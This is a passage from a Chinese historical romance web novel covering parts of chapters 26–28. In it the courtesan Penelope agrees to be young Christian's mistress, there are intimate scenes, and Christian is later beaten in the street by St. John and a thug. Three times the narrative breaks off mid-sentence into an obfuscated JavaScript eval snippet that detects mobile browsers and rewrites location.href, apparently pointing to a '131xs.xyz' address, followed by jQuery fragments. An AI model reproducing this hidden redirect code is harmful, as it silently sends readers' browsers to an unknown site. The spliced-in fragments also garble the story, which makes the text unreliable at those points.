一到纸条上所写的时间，克里斯蒂安便准时出现在了佩内洛普的家门口，穿着晚礼服，捧着鲜花，非常优雅。 他一整天都在思考问题，思考自己、思考佩内洛普，思考他们的未来——如果他真的资格谈论未来的话。 他一度还决定取消他们的约定，他会找一个完美无缺的借口，但当他看到那言辞极其刻薄的文章时，强烈的愤怒阻止了他。 然后他发现，他是多么害怕佩内洛普会因此多想，甚至考虑再三后，决定不再与他联系。 她会狠狠推开他的，就像她曾经做过的那样。她很在乎她的年龄，很在乎她与他的差距，他好不容易才让她遗忘了这些，开始重新变得充满活力。 门打开了。 佩内洛普站在门口，穿着一袭深红色的礼服，勾勒出她优雅修长的身姿。她的长发盘起，露出修长的颈项，耳垂上坠着一对耀眼的红宝石耳环，与她的唇色相映成辉。 她依旧是社交场上的传奇，依旧美得令人窒息，但她的眼神中却透着一丝克里斯蒂安从未见过的冷静。 “你准时到了。”她轻声道，语气淡然得令人心慌。 克里斯蒂安有些不安，却还是扬起手中的花束，笑了笑，试图让气氛变得轻松：“我可不想让你等得太久。” 佩内洛普微微一笑，接过花，却没有立刻跟着他一起离开，而是轻轻地嗅了嗅花香，然后抬起头，看着他。 “克里斯蒂安，我们得谈谈。”她说。 他的心猛地一沉。 他猜对了。 她确实想推开他。 “不如到马车上再谈？”他故作轻松地建议，仿佛不在意她的语气。 佩内洛普却摇摇头，朝着屋内示意。 “进来吧。” 他走进屋内，心里七上八下。 她要如何说？是温柔地告诉他，他们不合适？还是直接让他离开？ 克里斯蒂安感到自己从未如此紧张。 佩内洛普替他倒了一杯酒，自己也倒了一杯，然后端起酒杯，轻轻晃动着杯中的液体。 “克里斯蒂安，我们该停下了。”她终于开口，声音温柔，却透着几分不容置疑的坚决。 克里斯蒂安的指尖微微一颤，他放下酒杯，语气里带着一丝克制的急切：“为什么？” “你明知道为什么。”她抬眼看着他，“大家在嘲笑你和我，尤其是我。” 她一想到当她真正被他抛弃之后，她会变成怎样的笑料，就得做噩梦。 “反正你也不是那么想要我，都是我强求的，我就差跪在你面前恳求你了。” “你为什么要这么想？”他皱起眉头。 这个女人根本不明白他每次靠近她都要经受多大的折磨才能克制自己。 “佩内洛普，我们在一起，别人嚼什么舌根根本不重要，而且，你明知道我对你的感情如何，我不想放弃你。” 她苦笑了一下，慢慢摇头。 “你还年轻，你不明白。” “我当然明白！”一提到他们的年龄差距，他的声音也提高了一些，眼底燃烧着一丝怒意。 “你又开始用年龄来衡量一切了？佩内洛普，你到底什么时候才真的相信，年龄从来不是我在乎的东西？” 佩内洛普深深地看着他，指尖轻轻摩挲着酒杯。她想说，她当然相信他，可她更相信时间的无情。 尤其，男人与女人还不一样。作为出卖色相为生的女人而言，她三十六岁了，已经太老了，而他呢？他的人生才刚刚开始。 她不能让他因自己而受困，不能让自己沉溺在一场无法长久的梦境里，不想变成社交界永远的笑柄。 “克里斯蒂安，你很快就会后悔的。”她轻声说道，“你会醒悟过来，你会想要年轻的女孩，像米娜那样的女孩，你会想要婚姻、家庭、孩子……” 你会把我留在原地，让我一个人在夜里一杯一杯喝着烈酒，泣不成声。 因为不想太过于显露自己的脆弱，这一句话，她没有说出口。 克里斯蒂安站起身，双手撑在桌上，黑眸紧紧锁住她的眼睛：“佩内洛普，你不该替我做决定。” 她的心狠狠一颤。 “你现在可以告诉我，你对我根本一点感觉也没有，我只是你一晚的消遣，只是一个你可以分享给你的圈子里其他人的笑话。”他的声音低沉而坚定，带着丝隐忍的痛楚，“只要你说出口，我就会离开，而且永远不会再回来，真的，我甚至可能会恨你。” 佩内洛普张了张口，却发现自己什么都说不出来。 她无法欺骗他，也无法欺骗自己。 屋内一片沉默，只有壁炉中的火焰微微跳动，映照着他们彼此纠缠的眼。 终于，克里斯蒂安后退一步，声音低沉而沙哑：“你说不出口，对吗？” 佩内洛普依旧沉默。 他望着她，眼底里闪过一丝复杂的光芒，随后，他缓缓露出一个笑容。 “那我就不会走。”他说，“绝不会。” 佩内洛普的心狠狠地揪紧了。 “克里斯蒂安……”她轻轻地唤着他的名字，心中百感交集。 克里斯蒂安上前一步，继续道：“我知道你真正在害怕的是什么。” 佩内洛普愣住了，她不可置信地抬头看着他，而她得到的答案令她自己都心惊。 “你害怕我会让你伤心，不是吗？” “不。”她倔强地摇摇头，试图站在上风，“我早就学会了不让自己伤心。” 这是撒谎，她实在太怕了，她这辈子被伤了太多次心，她承受不了了。 他向她倾斜，他所使用的古龙水的气味充满了她的感官，这让她想起了昨晚在他怀里入睡的情景。 他是个非常讲究干净的男人，他购买昂贵的古龙水从不用来掩盖那些令人实在不愉快的味道，就只是让它与他皮肤的味道一起，组合成了一种纯粹的男性气息…… “你不仅害怕我让你伤心，你还觉得你已失去了你的青春，你没吸引力了，可事实上年龄对你而言，就仅仅只是数字的增长而已。” “那又怎么样呢？数字终究是增长了，我已经三十六岁了，自然而然就无人问津了，可以准备退居乡村了。” 他看着她，犹豫了一会儿，终究提出了那个曾在他心中浮现过千万次的问题。 “你愿意让我来供养你吗？” 这句话让佩内洛普感到震惊又无奈。上帝啊，他最终还是这么做了，要求向她提供保护。 可她应该怎么拒绝呢？ 似乎是看出了她的意图，他没有等她回答，又道：“不许拒绝我，因为我是不会接受的。” 佩内洛普怔怔地望着克里斯蒂安，他的话语孩子气十足，可他的眼神却坚定如磐石，仿佛早已经料定她别无选择，而事实也确实如此。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15437004|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她可以拒绝他，当然，但她知道，克里斯蒂安不是轻易退缩的人，他会一次次地回来，直到她妥协。而更残忍的事实是——她根本就不想拒绝。 她不想再推开他，不想再一次次地告诉自己，他们没有未来，即便那才是她应该做的。 她一看见他，就没有办法。 沉默在他们之间弥漫了太久，佩内洛普的指尖紧紧地攥住裙摆，良久，她轻轻地叹了口气，像是终于放弃了某种无谓的挣扎。 “好，我想我只能答应你了。”她的声音微微颤抖，但还是说了出来。 克里斯蒂安眸色微微一深，仿佛不敢相信自己听到的答案。他原本已经做好了与她继续僵持下去的准备，甚至做好了即便被拒绝，也绝不会放手的觉悟。 但是她竟然……答应了。 他的心脏猛地收紧，一种难以言喻的情绪涌上心头。他的佩内洛普，他最难以抗拒的女人，终于不再试图逃避他。 “你不会后悔这个决定的。”他低声说道。 佩内洛普没有回答，只是轻轻地垂下眼睫，仿佛害怕自己一旦再直视他的目光，就会彻底沦陷。 克里斯蒂安伸出手，轻轻地抚上她的脸颊。她的肌肤依旧如丝绸般光滑，而她眼中那抹迟疑与脆弱，更是让他的心一寸寸地柔软下来。 “你仍然在担忧是吗？”他轻声问道。 佩内洛普闭了闭眼，声音中，带着几分无奈的自嘲：“那很正常，你让我如何不担忧？我担忧自己会沉溺其中，我担忧你终有一天会醒悟过来，意识到这一切都是个错误。” “佩内洛普，你不是我的错误，正好相反，我这辈子还从未觉得自己这么正确过。我从第一眼看见你就想要你，我也知道，你注定会躺在我的床上，我从前没有意识到这点，纯粹是因为我是个彻头彻尾的白痴，又实在是缺乏这方面的经验。” 他的声音坚定无比，带着不容置疑的决绝。 佩内洛普怔怔地看着他，心脏仿佛被什么狠狠地撞击了一下。 “但你还太年轻……”她忍不住低喃。 “所以呢？”克里斯蒂安冷笑了一声，“年轻就意味着我没有理智不会独立思考？意味着我必须得去迎合世俗，佩内洛普，你真的认为我是那种人吗？” 佩内洛普张了张口，却无言以对。 她终于叹了口气，让自己轻轻靠进了克里斯蒂安的怀里，感受着他温暖的体温包围着自己。 “如果有一天你后悔了……”佩内洛普低声道，“请温和地对待我。” 克里斯蒂安轻笑一声，低头在她的发间落下了一个轻柔的吻。 “不会有那么一天的。” 他的声音温柔坚定，如同誓言一般，令佩内洛普不禁屏住了呼吸。在这一瞬间，她几乎真的觉得自己就是他这辈子唯一想要的女人，她也突然开始希望，他们之间不仅只有欲望，这令她有些不知所措。 这是一个鲁莽的想法，将来也必定令她心痛不已。她需要不断提醒自己，他们的关系只会持续到他对她的欲望彻底消失为止。 对于其他情人，她很容易接受这个事实。但是，对于克里斯蒂安，她确信她的心绝对不会毫发无损。 当他靠近她时，她的身体变热了，当他提出该护送她走出房子时，她毫不犹豫地挽起了他的胳膊。 算了算了，去他的未来。 就现在，她不想考虑这些有的没的。 27. Chapter 27 在接下来的日子里，克里斯蒂安几乎天天与佩内洛普形影不离，彼此的关系愈加亲密。然而，令他心中不安的是，他始终没有勇气去摘下她眼睛上的那层布，他无法面对她眼中愈发明显的情感，尤其是那种从未在任何人面前显露过的深切依赖和信任。 他知道自己给了她欢愉。自从她答应成为他的情妇后，他一次又一次地向她证明了自己的能力，证明了他能让她感到快乐。 他是那么努力地学习着如何爱她，如何让她在每一个细节中都感到满足。他已经熟悉了她每一寸肌肤，仿佛能通过每一次接触让她深深烙印在他的感官里。 这样当某一天她终于厌倦了他时，他至少还可以抱着对她的回忆过日子…… 想到这里，他发出一声自我厌恶的呻吟，仿佛在对自己的懦弱进行自我惩罚。他用最快的速度穿好衣服，再回到床上，轻轻为她取下蒙眼布，接着又温柔地清理她腿间的痕迹。 虽然他的动作温柔而谨慎，但他心中的那种无法摆脱的自卑和焦虑，却在这一刻愈加强烈。 然后，他听见她说：“我有没有说过，你是我得到过的最好的学生。” “这样的话我已经听了一千一万遍了。虽然我没有别的老师，但我知道，你也一定是有史以来最好的老师。” 她笑了，声音温暖而充满活力。 他一点也不愿意和她分开，也许他们真的永远都不会分开呢？ 他默默压下了脑海中那个威胁要造反的小声音，让自己不要想那么长远，未来的变数太多太多了。他太渺小，而她却光芒四射。 “你甚至是这个世界上最好的男人。”她低声说道，语气里带着一点疲倦，却又充满深情。 他苦涩道：“也许我没有那么好。” 她轻笑了一声，翻身靠近他，指尖沿着他的手臂缓缓下滑，带着些许挑逗的意味，却又无比温柔。 “你总是这样。”她低声道，“总是觉得自己不够好，你什么时候才能认清楚你就是非常好的事实呢？” 克里斯蒂安别开视线，望向了床幔的顶端，那里一片柔和的暗影，仿佛能将他吞噬。他想反驳，想告诉她，这些想法不过是她沉浸在激情中时的错觉，可是话到了嘴边，他却发现自己什么也说不出口。 他能说什么？说他根本不是一个她以为的那种伟岸的男子汉？说他从来不敢真正面对她的目光？说他怕她看到自己眼中的恐惧？还是说，他甚至都不敢去妄想自己能够真正拥有她？ “如果我所表现出来的一切都是伪装，你还会觉得我很好吗？” 佩内洛普思考了片刻，缓缓回答：“那就得看看，真实的你是什么样子了，可惜我还从未真正目睹。” 她的回答其实非常圆滑，还用她挑逗的眼神暗示了一些其他的克里斯蒂安不愿面对的东西。 好在她不打算去逼迫他什么，她继续道：“可我想，我应该清楚你是什么样的人，克里斯蒂安，别把我当孩子，我比你年长，也见过太多太多男人，我一直有自己的判断。” 说完，她安静地注视着他，然后缓缓地，将手掌覆盖在他的心口，感受着他急促却沉稳的心跳。 “你都在害怕什么？”她轻声问道。 克里斯蒂安一震，随即露出一抹带着苦涩的笑容：“你觉得呢？” 他害怕什么，她难道不是最清楚的？ 她沉默了片刻，指腹轻轻描摹着他的锁骨，带着一点思索的意味。 “你是怕我看见了你？无法接受你？”她的语气柔和，半开玩笑，却直击他的内心，“还是怕我能够接受你？” 他的呼吸顿时一滞。 这句话比任何一记拳头都要更有力，直接击中了他最深的恐惧。 不，不可能，在这个世界上就没有人可以接受他。哪怕是他的母亲，选择的都只是逃避。 他强行令自己笑了一下，道：“我只害怕我会太爱你，爱到无法呼吸。” 佩内洛普也笑了，不错的还击。 但克里斯蒂安说的是实话，他对她始终怀着一种宛如沉溺般的沉迷。每日每夜，他都在她的怀抱中寻找温暖，贪婪地想要汲取她的每一分爱意，那个模样，就如同一个濒死之人执着地抓着最后一根注定会失去的浮木。 他曾经以为自己已经足够冷漠，足够理智，足够清楚自己的位置。可是，她的一举一动，她的温柔，她的一句不经意的夸奖，甚至是她偶尔投来的一个笑容，都会让他的心脏失去防备地颤动。 他怎么能不害怕？ 他就是爱她，爱得如此绝望。 他闭上眼睛，试图将这些念头驱逐，努力让自己的声音保持冷静：“佩内洛普，我与人有约，我想我得走了。” 对，他得走了。 他从床上起来，背对着她，没注意到她也起来了。 当她拿起他的衣服为他穿上时，他被吓了一跳。 她温柔的动作抓住了他的心，他无法自控，转过身来便把她拉进怀里。即使隔着衣服和她的丝绸睡袍，他也能感觉到她的温暖钻进他的身体，他的灵魂。他强忍着血管里涌动的情感。他低下头，轻轻地吻了吻她，希望自己不用离开她。 “我知道你真正害怕着什么，克里斯蒂安。”她呢喃着，嘴唇贴在他的耳畔，“你害怕承认真实的你值得被爱，可你确实值得。” 他的身体突然僵住，那一刻，所有的防备都消失无踪，他显得如此脆弱。 佩内洛普没有再逼迫他，她只是温柔地抱住他，把头埋进了他的颈窝，轻轻地环住他的腰，如同在抱住一个易碎的珍宝。 克里斯蒂安的喉结轻轻滚动，却还是没有松开手。 哪怕他如此爱她，她也从未辜负他的信任，他仍然那么害怕，也仍然不敢去想未来。可是在这一刻，他终于愿意沉浸在这短暂的温柔里。 他们就这么过了许久，久到佩内洛普都开始担心他怎么了，他才终于再度开口，声音低哑，带着压抑的情绪：“为什么，要对我这么善良？” 佩内洛普愣了一下，随即轻笑起来：“真是个傻瓜，难道这还需要理由吗？我喜欢你，难道不是吗？” 他沉默，心中翻涌着复杂的情绪。 于是佩内洛普又道：“你有没有想过，如果你愿意，你可以成为你自己，而不必活在那些害怕之中？” 克里斯蒂安怔怔地看着她，很想对她说好，并倾诉关于他的所有的一切，但他犹豫过后，还是选择了放弃。 佩内洛普无奈一笑，蜷缩在了他温暖的怀抱中。 在她看来，他的怀抱其实并不算多么炽热，相较那些满是占有欲的男人，他的拥抱带着一丝犹豫，一种仿佛害怕自己力气过大会伤害到她的克制。 可她却一点也不介意，她甚至故意贴得更近，感受着他结实胸膛下那急促却沉稳的心跳。她轻轻地笑了笑，指尖顺着他的肩胛骨缓缓向下滑，带着一点随性的挑逗，却又满是温柔。 “你总是这样。”佩内洛普轻叹一声，像是在责备，又像是在安慰，“但没关系，时间还很长，我们可以慢慢来。” 克里斯蒂安没有说话，他只是低下了头，望着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444513|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那双清澈得像能映照出他灵魂的眼睛。再一次，不安紧紧地攥住了他，纯粹的不安。然后，一种无以名状的焦虑在胸腔中翻涌。 他在想，她是不是误会了什么？是不是误以为他只是个怯懦的人？可是……她又怎么能够明白，他不仅是胆怯，而是清楚地知道自己正在步步沦陷？ 她是这个世界上最迷人的女人，没有之一，她聪慧、狡黠、优雅得像一朵开得正盛的玫瑰，她懂得如何挑起男人的情欲，又懂得该如何让他们无法自拔。 可是她偏偏对他说，她愿意相信他，愿意待在他身边，愿意对他说那些温柔的话语。 他应该如何相信这些不是她惯用的技巧，而是真正出自她的内心？如果她突发奇想，准备毁掉他，那实在是太容易了。 “佩内洛普。”他的声音沙哑而低沉，像在克制什么，“我究竟哪里吸引了你？” 佩内洛普微微一愣，随即笑了起来，带着一丝无奈，“你怎么今天总是在问这种傻问题呢？” “因为我不明白。”他直视她的双眼，声音里透着一丝脆弱，“你曾见过那么多真正出色的男人，经历过那么多事情……为什么会是我？” 佩内洛普沉默了一瞬，然后，她轻轻地抬手，指尖落在他的脸颊上，缓缓滑过他的轮廓。 “你是真的不明白吗？”她的声音比夜色还要柔和，带着一点叹息的缠绵，“看起来是真的。只要我不明明白白地夸你，你就把我的话当耳边风。” 克里斯蒂安猛地一怔。 佩内洛普看着他的反应，轻笑一声，随后缓缓靠近，额头抵住他的，低声道：“你是如此高大英俊，风度翩翩，我第一眼看见你时就被你吸引了，你忘记了吗？我当晚就做了个梦，你忘记了吗？我那时候可怎么也没想到，我的美梦竟然能成真，不，你甚至比我梦里还要表现得更好。” 她的语气带着一丝戏谑，却又透着真切的情感，让克里斯蒂安的心脏狠狠地颤了一下。 他想要后退，想要逃避，可是她的气息如此温暖，贴得如此近，他的理智已经开始渐渐崩溃。 “佩内洛普……”他几乎是喃喃低语着她的名字，声音带着不确定性，甚至还夹杂一点绝望的渴望。 佩内洛普望着他的眼睛，眼底闪烁着点点光芒，她微微一笑，语气温柔得仿佛要将他彻底融化：“你是一个非常出色的男人，各方面都是，相信我，你可以自然而然地吸引任何女人，根本不必感到疑惑。” 她的声音在夜色中如同催眠一般，让克里斯蒂安的心神彻底被她牵引。 她轻轻地抚上他的手，将他的手掌贴在自己的心口，那颗心脏正跳动着，热烈而真实。 克里斯蒂安的喉结滚动了一下，他感到心底的防线正一点一点地崩塌。 他可以拒绝她吗？ 他可以在她已经这样真诚地袒露自己想法的时候，仍旧躲在自己创造的保护壳里去假装一切都只是一场虚假的来自于老练交际花的游戏吗？ 他做不到。 他真的，做不到。 于是，他终于抬起手，缓缓地扣住了佩内洛普的后脑，轻轻地将她拉近，让她彻底贴近自己。 他闭上眼睛，在她的嘴唇上印下了一个无比温柔，却又无比深沉的吻。 佩内洛普轻轻笑了一声，仿佛终于得到了她想要的答案，便顺从地沉溺在这个吻里，任由他去探索，去接受，去真正地，拥有她。 这一刻，他不是她的学生，不是她的附庸，更不是她一时兴起的玩物。 他是她独一无二的年轻情人。 28. Chapter 28 克里斯蒂安已经有段时间懒得踏足俱乐部了。他更愿意将这些宝贵的时光都花在他亲爱的佩内洛普身上，哪怕只是静静地看着她，听她说话，或是在她入睡后细细描摹她的轮廓。相比之下，俱乐部里的喧嚣、纸醉金迷、无聊至极的闲谈都显得无趣而乏味。 然而，他终究不能彻底远离那些所谓的朋友们。一个绅士的社交义务终归是不能弃置的，尤其在这个讲究体面的圈子里，若是太久不露面，便会引来各种无端的揣测和闲言碎语。他绝不允许任何关于佩内洛普的流言蜚语沾染到她的名誉。因此，最终，他还是勉强抽了个空，回到了那个既熟悉又令人厌倦的地方，与朋友们共饮一杯小酒，履行应尽的义务。 俱乐部内的氛围一如既往。壁炉里燃着橘红色的火焰，烘暖着略显寒冷的空气；陈年的雪茄香和醇厚的威士忌味道交织成一种厚重的气息，弥漫在整个大厅。克里斯蒂安一手持杯，半倚在沙发上，听着朋友们闲聊赛马、股市，还有某位贵妇的风流韵事。他偶尔插上一句应景的话，表面从容，内心却始终游离。他的思绪不受控制地飞向了远方——飞向了佩内洛普。 她现在在做什么？是否会因为自己短暂的离开而感到一丝不安？想到她那双温柔又倔强的眼睛，他的心便软得一塌糊涂，俱乐部里的喧闹声也变得更加刺耳无趣。 直到手中的酒杯终于见底，他才决心不再浪费时间。 他从容地站起身，礼貌地向众人点头告别。朋友们见惯了他的疏离，只能无奈地耸耸肩，心里暗暗叹息：谁让克里斯蒂安彻底栽在了那个女人手里了呢？ 夜幕低垂，湿润的寒气扑面而来。昏黄的街灯下，远处有马车缓缓驶过，车轮碾过石板路，发出清脆而孤寂的声响。克里斯蒂安扣紧大衣的衣领，沿着台阶走下，却没看到自己的马车夫。 ——这家伙，又跑到哪儿鬼混去了？ 他只能无奈地去找人，并心想再有下次，他必须将车夫解雇，换一个更有责任感的人选。 要不，他干脆拦下一辆路过的出租马车？又或者，直接步行回去？反正路程也不是太远。 他正犹豫间，警觉地察觉到一股危险的气息扑面而来。 还未来得及做出更多反应，一根沉重的木棍便从黑暗中猛地砸向了他的后脑。他本能地侧身闪避，然而还是迟了一步——那一下砸得结结实实，力道之猛令他向前踉跄，直接重重地撞在冰冷坚硬的石墙上。 剧烈的疼痛炸裂般蔓延开来，耳边只剩下嗡嗡作响的杂音，口腔里迅速弥漫起铁锈般浓烈的血腥味。 “该死！”他花了好几秒才恢复意识，并转过身抬起了头，映入眼帘的是两张十分狰狞的脸。 乔治·圣-约翰带着个显然是地痞流氓的家伙站在他面前，眼神阴冷至极，怒火在那双令人厌恶的黑色眼眸里熊熊燃烧。 克里斯蒂安猜到他大概是知道了一些什么，嘴角微微扬起，露出一个讽刺的笑：“看来你今晚的心情不太好了，圣-约翰，但你也就只有这点指使别人偷袭的本事了。” 回答他的，是一记重拳，直接狠狠砸向他的腹部。 剧烈的冲击力让克里斯蒂安不禁弯下了腰，胃里翻江倒海，他忍不住闷哼出声，手指死死扣住冰冷的石墙，以防自己彻底倒下去。 圣-约翰道：“你居然让多蒂结婚了？在这个世界上除了我居然还能有人要她？她去哪里了？你必须告诉我。” 一想到这家伙与多萝西的事情，克里斯蒂安的指尖猛地一紧，心中某个隐秘的角落被狠狠刺痛。但他只是缓缓直起身，呼吸还有些急促，却依旧故作从容地整理了一下被扯皱的衣领，淡淡道：“我为什么要将多萝西的动向告诉你？你和她有什么关系？” “当然有关系！她是我的，她竟敢背着我嫁给那个男人！”圣-约翰怒吼着，猛地揪住克里斯蒂安的衣领，将他再次狠狠地抵在墙上。 “是不是你给她找的人？都愿意吃我的剩饭了，想必也不是什么好东西吧，我当年还以为你真对她好呢，结果你先是利用她，之后一遇见佩内洛普那个老太婆，就把她随便打发了？” 圣-约翰一提到佩内洛普，克里斯蒂安的怒火也愈发沸腾起来，他盯着眼前的男人，想要还击，却伤得太重，无能为力，只能用虚弱的声音冷冷道：“闭嘴，你差点把她害死！你忘了吗？你有什么立场对此感到愤怒？” “她是我的！她这辈子都是我的！”圣-约翰低吼，眼中闪烁着几乎是偏执的光，“你以为我为什么花了那么多时间讨她的欢心？甚至她一定要我娶她都行，她不能嫁给别人！现在我的父亲也死了，没有人会阻止我娶她了。卑贱如她，可以进我的家谱，她究竟是有什么不满足的？” 克里斯蒂安的眼神沉了下去，嘴角的冷笑愈发讽刺。 “你以为你在做什么？”他痛苦地喘着气，低声道，“你引诱她，你骗她以为你是认真的，却从未真正想过娶她，最多就是后面实在没办法了，才盘算着捏着鼻子认了，而现在，你竟然还在这里恼羞成怒？” 圣-约翰的瞳孔骤然收缩，眼中暴怒达到顶点。他抬起手，一拳狠狠挥下，直接打在克里斯蒂安的颧骨。克里斯蒂安闷哼一声，整个侧脸都被打偏过去，血从他的嘴角滑落，他的身体摇晃了一下，最终还是稳住了。 他慢慢抬起眼，目光森然，透着不屑和冰冷的愤怒。 “我不会让你知道多萝西在哪里的，你胆敢再碰她一下。”他声音虚弱，却带着隐隐的威胁，“我会让你后悔的。” 圣-约翰盯着他，冷哼一声，道：“那你现在就得后悔。” 圣-约翰的冷哼未落，他带来的打手的拳头已再度挥下，这一次直接砸向了克里斯蒂安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448141|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的肋骨。他猝不及防地被打得整个人都歪向一旁，剧痛瞬间从肋下蔓延开来，仿佛骨头都要碎裂一般。 他咬紧牙关，不让自己发出痛苦的呻吟，可呼吸间的刺痛却暴露了伤势的严重性。 圣-约翰眯起眼，嘴角露出一抹残忍的弧度。他给带来的人投去一个眼色，对方迅速又抬起了脚，狠狠地踢向了克里斯蒂安的小腿。克里斯蒂安再也撑不住，整个人狼狈地跪倒在潮湿的石板路上，膝盖与地面碰撞时发出沉闷的响声，疼痛贯穿全身。 “你以为你能藏住她多久呢？”圣-约翰俯视着他，“她总是爱我的，她总会回到我身边。” 克里斯蒂安艰难地抬头，嘴角溢出的鲜血映着街灯的微光，他冷笑一声，眼中满是不屑：“别这么自作多情了，我会让你去坐牢的，我一定会的，而她甚至都不屑于去监狱看你一眼。” 这句话彻底点燃了圣-约翰的怒火。 他低吼着抓起克里斯蒂安的衣领，抡起拳头，一下又一下地挥下，每一拳都重得令人心悸。克里斯蒂安的意识逐渐模糊，他的眼前一片血色，耳边嗡嗡作响，疼痛已经到了极限，几乎要让他失去知觉。 不知究竟过了多久，圣-约翰终于停了手，甩开克里斯蒂安的衣领，任由他无力地倒在冰冷的石板路上。他低头睨了他一眼，似乎还不解气，抬脚狠狠踹了一下他的肋骨。 “你不是很能打吗？嗯？还整天想要威胁我，原来，也不过如此嘛。”他说。 “你会付出代价的，朗斯通，你就等着吧，我会毁掉你，我一定会。” 说完，他带着人转身离去，身影没入了黑暗之中，只留下克里斯蒂安孤零零地倒在潮湿的街道上，血液顺着他的脸颊滴落，在地面上缓缓地流淌。 夜色深沉，街道上一片寂静，偶尔有马车驶过，但没有人注意到这条小巷里的狼藉。时间一分一秒地过去，克里斯蒂安的意识逐渐飘忽，他不知道自己究竟还能撑多久，寒意浸透了他的骨髓，疼痛则在神经末梢肆虐，每一次呼吸都像是被利刃割裂。 正当他即将彻底失去意识时，一阵急促的脚步声响起。 “上帝啊！”一个十分熟悉的声音惊叫出声，随即一双手小心翼翼地扶住了他，“朗斯通？你能听见我吗？” 他努力想睁开眼，看清来人，可眼皮沉重得如同灌了铅，意识早已摇摇欲坠。片刻后，他终于勉强从喉咙里挤出一个含糊不清的声音：“哈特利……” 来人正是他的好友杰瑞米·哈特利，他显然已经被克里斯蒂安此刻的模样吓坏了。他的手在克里斯蒂安身上摸索了一番，似乎在确认伤势，随后猛地倒吸了一口凉气：“见鬼！真是见鬼！你是被谁打成这样了？” 克里斯蒂安没能回答，在他的意识彻底陷入黑暗中前，他的口中只模模糊糊地说出了一个名字：“佩内洛普……”